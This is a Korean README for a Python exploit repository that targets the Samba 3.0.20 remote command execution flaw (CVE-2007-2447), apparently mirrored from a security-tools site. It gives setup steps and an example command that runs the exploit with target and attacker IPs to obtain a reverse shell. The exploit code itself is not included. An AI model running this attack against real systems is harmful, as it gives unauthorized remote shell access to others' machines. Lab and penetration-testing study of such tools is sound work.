CVE-2007-2447 익스플로잇

이 저장소는 Samba smbd 3.0.20 (CVE-2007-2447) 취약점에 대한 익스플로잇을 포함하며, 조작된 SMB 요청을 통해 원격 명령 실행을 가능하게 합니다.

전제 조건

이 익스플로잇은 Python 3와 몇 가지 종속성이 필요합니다. 익스플로잇을 실행하기 전에 가상 환경을 설정하는 것이 좋습니다.

가상 환경 설정

1. 저장소 클론하기:

   root@kitploit:~

   git clone https://github.com/your-repo/CVE-2007-2447.git
   cd CVE-2007-2447
   

2. Python 가상 환경 생성하기:

   root@kitploit:~

   python3 -m venv smb_env
   source smb_env/bin/activate  # Linux/macOS
   

   (Windows 사용자는 smb_env\Scripts\activate를 사용하여 활성화할 수 있습니다)

3. 필요한 종속성 설치하기:

   root@kitploit:~

   pip install -r requirements.txt
   

사용법

가상 환경이 설정되면 다음 구문을 사용하여 익스플로잇을 실행할 수 있습니다:

python3 CVE-2007-2447.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>

실행 예시

python3 CVE-2007-2447.py -t 192.168.1.100 -a 192.168.1.50 -p 4444

• -t / --target: 대상(피해자) 시스템의 IP 주소.
• -a / --attacker: 공격자 리스너의 IP 주소.
• -p / --port: 리버스 셸 연결을 설정할 포트.

가상 환경 비활성화

작업이 끝나면 다음을 사용하여 가상 환경을 비활성화하세요:

deactivate